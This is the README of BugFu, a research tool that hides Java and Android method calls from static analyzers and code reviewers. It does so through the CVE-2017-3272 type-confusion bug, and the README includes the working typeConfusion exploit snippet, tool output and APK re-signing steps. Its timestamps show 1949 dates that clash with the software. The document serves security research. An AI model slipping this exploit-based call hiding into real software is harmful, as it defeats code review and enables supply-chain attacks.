Skip to content

software-engineering-and-security/bugfu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 

Repository files navigation

BugFu

BugFu is a proof-of-concept tool to automatically bugfuscate programs, i.e., it uses bugs or vulnerabilities to obfuscate programs. The tool takes as input a Java-like program and a list of methods to bugfuscate and 'hides' these methods based on the exploitation of vulnerabilities (currently only CVE-2017-3272).

This means that someone (or a tool such as a static analyzer) reading code cannot always trust that the code does what it is supposed to do.

Concretely, this means that Java source code could look innocent like this:

void method() {
 A a = new A();
 B b = new B();
 a = method2(a, b);
 a.doNothingSpecialHere(); // L1
}

But, when running this bugfuscated code, the method executed at L1 could be something totally different such as B.doEvilStuff(). This is hard to see when visually inspecting the code. It works because method2() is using vulnerabilities to play with the internal representation of the code running on the VM, something which should not be possible... in theory.

Compiling

$ mvn clean package -DskipTests

This will create the following jar files:

$ ls -1 target/*.jar
target/bugfu-0.1-SNAPSHOT.jar
target/bugfu-0.1-SNAPSHOT-jar-with-dependencies.jar

Testing

To run test cases, you will need a vulnerable version of the JDK. We use JDK 1.8 version 111 since this version is impacted by CVE-2017-3272. Download it, set the JAVA_HOME environment variable to the JDK installation directory, compile the test resources and then run tests:

$ export JAVA_HOME=/path/to/jdk1.8.0_111/
$ $JAVA_HOME/bin/javac src/test/resources/my-input2/a/b/c/*.java
$ $JAVA_HOME/bin/javac src/test/resources/my-input3/a/b/c/*.java
$ $JAVA_HOME/bin/javac src/test/resources/my-input4/a/b/c/*.java
$ mvn test

Successfully running the test cases should result in the following output:

[INFO] Scanning for projects...
[INFO] Inspecting build with total of 1 modules...
[INFO] Installing Nexus Staging features:
[INFO]   ... total of 1 executions of maven-deploy-plugin replaced with nexus-staging-maven-plugin
[INFO] 
[INFO] ---------------------------< org.ses:bugfu >----------------------------
[INFO] Building BugFu 0.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO] 
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ bugfu ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory /home/user/src/bugfu/src/main/resources
[INFO] 
[INFO] --- maven-compiler-plugin:3.0:compile (default-compile) @ bugfu ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 3 source files to /home/user/src/bugfu/target/classes
[WARNING] /home/user/src/bugfu/src/main/java/org/ses/bugfu/CallGraphTransformer.java: /home/user/src/bugfu/src/main/java/org/ses/bugfu/CallGraphTransformer.java uses unchecked or unsafe operations.
[WARNING] /home/user/src/bugfu/src/main/java/org/ses/bugfu/CallGraphTransformer.java: Recompile with -Xlint:unchecked for details.
[INFO] 
[INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ bugfu ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 13 resources
[INFO] 
[INFO] --- maven-compiler-plugin:3.0:testCompile (default-testCompile) @ bugfu ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 1 source file to /home/user/src/bugfu/target/test-classes
[INFO] 
[INFO] --- maven-surefire-plugin:3.0.0-M5:test (default-test) @ bugfu ---
[INFO] 
[INFO] -------------------------------------------------------
[INFO]  T E S T S
[INFO] -------------------------------------------------------
[INFO] Running org.ses.bugfu.Test1

[*] ------------------------ 
Using method file: /home/user/src/bugfu/target/test-classes/my-input2/methods.txt
Classpath /home/user/src/bugfu/target/test-classes/my-input2
name: public static int a.b.c.Target.myMain()
executing method public static int a.b.c.Target.myMain()
starting Target...
this should be unreachable from the static analyzer
r: 42
name: public int a.b.c.Target.shouldBeHidden()
name: public static void a.b.c.Target.main(java.lang.String[])
name: public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
name: public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
name: public final void java.lang.Object.wait() throws java.lang.InterruptedException
name: public boolean java.lang.Object.equals(java.lang.Object)
name: public java.lang.String java.lang.Object.toString()
name: public native int java.lang.Object.hashCode()
name: public final native java.lang.Class java.lang.Object.getClass()
name: public final native void java.lang.Object.notify()
name: public final native void java.lang.Object.notifyAll()
╔═══════════════════════════════════════════════════════════════════════╗
║      _/\/\/\/\/\____________________________/\/\/\/\/\/\_____________ ║
║     _/\/\____/\/\__/\/\__/\/\____/\/\/\/\__/\/\__________/\/\__/\/\_  ║
║    _/\/\/\/\/\____/\/\__/\/\__/\/\__/\/\__/\/\/\/\/\____/\/\__/\/\_   ║
║   _/\/\____/\/\__/\/\__/\/\____/\/\/\/\__/\/\__________/\/\__/\/\_    ║
║  _/\/\/\/\/\______/\/\/\/\________/\/\__/\/\____________/\/\/\/\_     ║
║ ___________________________/\/\/\/\_____________________________ v0.1 ║
╚═══════════════════════════════════════════════════════════════════════╝

[*] File containing list of method calls to hide: /home/user/src/bugfu/target/test-classes/my-input2/methods.txt

[...]

checking <a.b.c.Target: int myMain()> -> <java.lang.Object: void <clinit>()>
checking <a.b.c.Target: int myMain()> -> <a.b.c.ClassTwo: void <clinit>()>
checking <a.b.c.ClassTwo: void <clinit>()> -> <java.lang.Object: void <clinit>()>
checking <a.b.c.ClassTwo: void <clinit>()> -> <java.lang.Object: void <clinit>()>
checking <a.b.c.ClassTwo: void <clinit>()> -> <java.lang.Object: void <clinit>()>
checking <a.b.c.Target: int myMain()> -> <java.lang.Object: void <clinit>()>
checking <a.b.c.Target: int myMain()> -> <java.lang.String: void <clinit>()>
checking <a.b.c.Target: int myMain()> -> <java.lang.Object: void <clinit>()>
[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 44.742 s - in org.ses.bugfu.Test1
[INFO] 
[INFO] Results:
[INFO] 
[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] 
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  46.591 s
[INFO] Finished at: 1949-06-08T15:43:56+01:00
[INFO] ------------------------------------------------------------------------

Running BugFu on a Java program

We will use the example Java program in ./examples/java/my-input. To run BugFu on this Java program, you will need to provide the following parameters:

  • the target Java program: ./examples/java/my-input/
  • a file containing the list of methods to bugfuscate: ./examples/java/my-input/methods.txt
  • the output directory where the bugfuscated program will be written: ./examples/java/my-output/

Start BugFu as follows:

$ java -jar ./target/bugfu-0.1-SNAPSHOT-jar-with-dependencies.jar -methods ./examples/java/my-input/methods.txt -input ./examples/java/my-input/ -output examples/java/my-output/

The output should be something like:

╔═══════════════════════════════════════════════════════════════════════╗
║      _/\/\/\/\/\____________________________/\/\/\/\/\/\_____________ ║
║     _/\/\____/\/\__/\/\__/\/\____/\/\/\/\__/\/\__________/\/\__/\/\_  ║
║    _/\/\/\/\/\____/\/\__/\/\__/\/\__/\/\__/\/\/\/\/\____/\/\__/\/\_   ║
║   _/\/\____/\/\__/\/\__/\/\____/\/\/\/\__/\/\__________/\/\__/\/\_    ║
║  _/\/\/\/\/\______/\/\/\/\________/\/\__/\/\____________/\/\/\/\_     ║
║ ___________________________/\/\/\/\_____________________________ v0.1 ║
╚═══════════════════════════════════════════════════════════════════════╝

[*] File containing list of method calls to hide: ./examples/java/my-input/methods.txt
[*] Input directories: [./examples/java/my-input/]
[*] Output directory: examples/java/my-output/
[*] Android application: false
    [:] method call to bugfuscate: <Target: void shouldBeHidden()>
SLF4J: No SLF4J providers were found.
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See https://www.slf4j.org/codes.html#noProviders for further details.
Soot started on Wed June 8 12:01:38 CET 1949
body: <Target: void <init>()>void <init>()
invoke: specialinvoke r0.<java.lang.Object: void <init>()>()
methodSig: <java.lang.Object: void <init>()>
methodcallstobugfuscate: [<Target: void shouldBeHidden()>]
body: <Target: void main(java.lang.String[])>void main(java.lang.String[])
invoke: virtualinvoke $r0.<java.io.PrintStream: void println(java.lang.String)>("starting Target...")
methodSig: <java.io.PrintStream: void println(java.lang.String)>
methodcallstobugfuscate: [<Target: void shouldBeHidden()>]
invoke: specialinvoke $r1.<Target: void <init>()>()
methodSig: <Target: void <init>()>
methodcallstobugfuscate: [<Target: void shouldBeHidden()>]
invoke: virtualinvoke $r1.<Target: void shouldBeHidden()>()
methodSig: <Target: void shouldBeHidden()>
methodcallstobugfuscate: [<Target: void shouldBeHidden()>]
[+] Found method call to bugfuscate in method <Target: void main(java.lang.String[])>: virtualinvoke $r1.<Target: void shouldBeHidden()>()
hideMethod: <Hide: void shouldBeHidden()>
confusion body:     public static void typeConfusion(Hide, Target)
    {
        Hide $r0;
        Target $r1;
        java.util.concurrent.atomic.AtomicReferenceFieldUpdater $r2;

        $r0 := @parameter0: Hide;

        $r1 := @parameter1: Target;

        $r2 = staticinvoke <java.util.concurrent.atomic.AtomicReferenceFieldUpdater: java.util.concurrent.atomic.AtomicReferenceFieldUpdater newUpdater(java.lang.Class,java.lang.Class,java.lang.String)>(class "Target", class "Target", "bugfuscatorField0");

        virtualinvoke $r2.<java.util.concurrent.atomic.AtomicReferenceFieldUpdater: void set(java.lang.Object,java.lang.Object)>($r0, $r1);

        return;
    }

new body:     public static void main(java.lang.String[])
    {
        java.io.PrintStream $r0;
        Hide hideLocal;
        Target $r1;
        java.lang.String[] r2;

        r2 := @parameter0: java.lang.String[];

        $r0 = <java.lang.System: java.io.PrintStream out>;

        virtualinvoke $r0.<java.io.PrintStream: void println(java.lang.String)>("starting Target...");

        $r1 = new Target;

        specialinvoke $r1.<Target: void <init>()>();

        hideLocal = new Hide;

        specialinvoke hideLocal.<Hide: void <init>()>();

        $r1.<Target: Target bugfuscatorField0> = $r1;

        hideLocal.<Hide: Hide bugfuscatorField1> = hideLocal;

        staticinvoke <Hide: void typeConfusion(Hide,Target)>(hideLocal, $r1);

        hideLocal = hideLocal.<Hide: Hide bugfuscatorField1>;

        virtualinvoke hideLocal.<Hide: void shouldBeHidden()>();

        return;
    }

body: <Target: void shouldBeHidden()>void shouldBeHidden()
invoke: virtualinvoke $r0.<java.io.PrintStream: void println(java.lang.String)>("this should be unreachable from the static analyzer")
methodSig: <java.io.PrintStream: void println(java.lang.String)>
methodcallstobugfuscate: [<Target: void shouldBeHidden()>]
Soot finished on Wed June 8 12:01:39 CET 1949
Soot has run for 0 min. 0 sec.

The resulting .class files are created in examples/java/my-output/. We rely on the Soot framework which works best at the bytecode level, therefore we use .class files as input and output. Nevertheless, we can have a look at the corresponding Java source by using a tool such as jadx-gui:

public class Target {
    protected volatile Target bugfuscatorField0;

    public static void main(String[] strArr) {
        System.out.println("starting Target...");
        Target target = new Target();
        Hide hide = new Hide();
        target.bugfuscatorField0 = target;
        hide.bugfuscatorField1 = hide;
        Hide.typeConfusion(hide, target);        // L0
        hide.bugfuscatorField1.shouldBeHidden(); // L1
    }

    public void shouldBeHidden() {
        System.out.println("this should be unreachable from the static analyzer");
    }
}

The call at L1 is on method shouldBeHidden on the ofbugscatorField1 field of type Hide. Therefore, in theory, Hide.shouldBeHidden should be called. In practice, Target.shouldBeHidden is called because the type of the field has been changed via a vulnerability at line L0. A static analyzer not aware that this can happen will miss the call to Target.shouldBeHidden(), i.e., it won't have an edge in its call-graph for the call to Target.shouldBeHidden.

$ /path/to/jdk1.8_111/bin/java -cp examples/java/my-output/ Target
starting Target...
this should be unreachable from the static analyzer

Running BugFu on an Android application

For the steps below to work, you first have to setup the Android Sdk to be able to run an Android emulator on Android version of interest such as version 12L API 32 and have access to binaries such as apksigner. You should also install apktool.

The test Android application that we will instrument is located in examples/android/input/app.apk. As for the Java example, we want to hide calls to Target.shouldBeHidden in the Target class. This method prints "this should be unreachable from the static analyzer" in the Android logs.

$ sha256sum app.apk
3a854ea2e0f7061e0527d13b8045d9a54caf46085ad12f477754ddc1f4d31c08
$ adb install -t app.apk
##
## Note that the Android emulator must contain the vulnerability
## this is the case for example with Android API 32 version 12L.
##
## Once the installation of the apk is completed, 
## the user launches the app and clicks on buton "start execution".
##
## The app should print something in the logs, visible with logcat.
##
$ adb logcat
[...]
06-49 09:39:26.211 10313 10313 D BUTTONS : User tapped the Supabutton
06-49 09:39:26.211 10313 10313 I BUTTONS : test
06-49 09:39:26.211 10313 10313 I AAA     : String myString is a class java.lang.String
06-49 09:39:26.211 10313 10313 I AAA     : String myString is a class java.lang.Integer
06-49 09:39:26.211 10313 10313 I System.out: starting Target...
06-49 09:39:26.211 10313 10313 I System.out: this should be unreachable from the static analyzer
[...]

Java-based code in Android is compiled to classes[0-9]*.dex files. It is easier and faster to let Soot process a single file. As an Android application can feature many dex files, let's find out where the code to instrument could be:

$ apktool d app.apk 
I: Using Apktool 2.5.0-dirty on app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/user/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes6.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes5.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

It seems that in this apk there are 6 dex files. Let's use apktool to find in which dex file the class Target (the one to instrument) is defined:

$ apktool d examples/android/input/app.apk
$ find examples/android/input/app/ | grep Target
app/smali_classes5/a/b/c/Target.smali
app/smali/kotlin/annotation/Target.smali

It seems that the class is in classes5.dex. Let's extract it from the apk file and start BugFu on it:

Extract it as follows:

$ unzip app.apk classes5.dex

Start BugFu as follows:

$ java -jar ./target/bugfu-0.1-SNAPSHOT-jar-with-dependencies.jar -methods ./examples/android/input/methods.txt -input ./examples/android/input/classes5.dex -output examples/android/output/ -android -android-jar /path/to/Android/Sdk/platforms/

When analyzing an Android application or Dalvik bytecode, BugFu generates a 'classes.dex' file. This code can be decompiled with apktool:

$ cd ./examples/android/output/
$ jar -r toto.apk classes.dex
$ apktool d toto.apk

Now, the original classes5.dex has to be replaced by the instrumented version, the application has to be rebuilt and signed. All these steps are in the buildAndSign.sh Bash script. Before running the script, set the following environment variables:

$ cd mkapk
export APKSIGNER="/path/to/Android/Sdk/build-tools/35.0.0/apksigner
export APKTOOL="java -jar /home/user/apktool_2.12.1.jar"
export ORIGINAL_APK="../input/app.apk"
$ ./buildAndSign.sh

The script should install the instrumented application on an Android device (containing the bug/vulnerability that has been used by BugFu in the instrumentation phase). You can do the installation manually:

$ adb install -t new_signed.apk

Logcat shows that the code still executes correctly:

[...]
06-49 09:49:07.863  9378  9378 D BUTTONS : User tapped the Supabutton
06-49 09:49:07.863  9378  9378 I BUTTONS : test
06-49 09:49:07.863  9378  9378 I AAA     : String myString is a class java.lang.String
06-49 09:49:07.863  9378  9378 I AAA     : String myString is a class java.lang.Integer
06-49 09:49:07.863  9378  9378 I System.out: starting Target...
06-49 09:49:07.863  9378  9378 I System.out: this should be unreachable from the static analyzer
[...]

We can check the difference in code between app.apk and new_signed.apk by using jadx-gui for instance to directly convert the smali code to, hopefully, more readable code. The original code is:

public class Target {
    public static void main(String[] args) {
        myMain();
    }

    public static int myMain() {
        System.out.println("starting Target...");
        Target t = new Target();
        return t.shouldBeHidden();
    }

    public int shouldBeHidden() {
        System.out.println("this should be unreachable from the static analyzer");
        return 42;
    }
}

The bugfuscated code is:

public class Target {
    protected volatile Target bugfuscatorField0;

    public static void main(String[] args) {
        myMain();
    }

    public static int myMain() {
        PrintStream r0 = System.out;
        r0.println("starting Target...");
        Target r1 = new Target();
        Hide hideLocal = new Hide();
        r1.bugfuscatorField0 = r1;
        hideLocal.bugfuscatorField1 = hideLocal;
        Hide.typeConfusion(hideLocal, r1);
        int $i0 = hideLocal.bugfuscatorField1.shouldBeHidden();
        return $i0;
    }

    public int shouldBeHidden() {
        PrintStream $r1 = System.out;
        $r1.println("this should be unreachable from the static analyzer");
        return 42;
    }
}

Reading the code, one can think that bugfuscatorField1.shouldBeHidden() should be called (bugfuscatorField1 is of type Hide). In the real world, Target.shouldBeHidden() is called. This is confirmed by the logcat output above. If Hide.shouldBeHidden() would have been called, nothing would have been printed in the logs since, as you can see below, this code does nothing and directly returns from the method.

public class Hide {
    protected volatile Hide bugfuscatorField1;

    public static void typeConfusion(Hide hide, Target target) {
        AtomicReferenceFieldUpdater $r2 = AtomicReferenceFieldUpdater.newUpdater(Target.class, Target.class, "bugfuscatorField0");
        $r2.set(hide, target);
    }

    int shouldBeHidden() {
        return 0;
    }
}

FAQ

Can I use this approach with the latest version of Java / Android?

In theory yes if you can find a vulnerability in the latest version and assuming that how method resolution implementation in the Java virtual machine or the Android runtime has not changed significantly.

What versions of Java / Android are impacted by BugFu?

BugFu currently only relies on vulnerability CVE-2017-3272 affecting Java versions 1.8.0_92, 1.8.0_101, 1.8.0_102, 1.8.0_111, 1.8.0_112 and Android versions 7, 8, 9, 10, 11 and 12.

Why does BugFu only work on bytecode?

BugFu relies on the Soot framework, which works best with bytecode, to automate the approach. The approach also works at the source code level and nothing prevents you from manually bugfuscating your code or sending a pull request with code to modify source code automatically.

Is this approach new?

This problem of trust is well known at least since 1984. However, as far as we know, it is the first time that it is shown that vulnerabilities in the JVM can 'hide' control flow from static analyzers or human analysts performing code reviews. The closest to control flow hiding is what some Android malware or obfuscation tools do by 'patching' Dalvik bytecode at runtime. However, this often requires the malware to have both Java-based code and native code to perform the Dalvik code patching.

How does bugfuscation work?

You can read more about the approach is this paper: Bugfuscation.

Does the approach work on other programming languages?

Probably yes. Do you want to know more? click here

Is this a security problem?

Yes. BugFu highlights that the approach is practical and can hide what the code does from analysts or tools. This approach could be used by attackers to, e.g., bypass code verification and/or perform a supply chain attack.

Where does the name BugFu come from?

It is inspired from the chinese 功夫 (gōng fu / kung fu), which means "skill achieved through long-term effort".